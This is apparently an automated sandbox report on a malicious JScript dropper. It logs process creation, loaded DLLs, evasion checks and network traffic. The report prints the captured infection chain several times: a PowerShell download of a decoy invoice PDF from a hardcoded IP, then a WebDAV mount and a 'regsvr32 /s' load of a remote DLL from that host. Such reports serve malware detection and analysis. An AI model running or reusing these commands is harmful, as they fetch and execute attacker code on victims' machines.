Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\7398.js.csv");ITextStream.WriteLine(" entry:8065 f:urdljrvch");ITextStream.WriteLine(" exec:2 f:urdljrvch");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49729

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4762			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5120			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 828	Thread sleep count: 4762 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1128	Thread sleep count: 5120 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3132	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6276	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 4600	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 4388	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.2247097797.00000137CE368000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`f=
Source: net.exe, 00000007.00000002.2247248759.00000137CE3D1000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2234105480.00000137CE3D1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3466793877.0000016D3EA54000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000002.2247248759.00000137CE3D1000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2234105480.00000137CE3D1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW'
Source: svchost.exe, 00000009.00000002.3464869888.0000016D3922B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@N

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\212652703431053.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\212652703431053.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\212652703431053.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\212652703431053.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\212652703431053.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

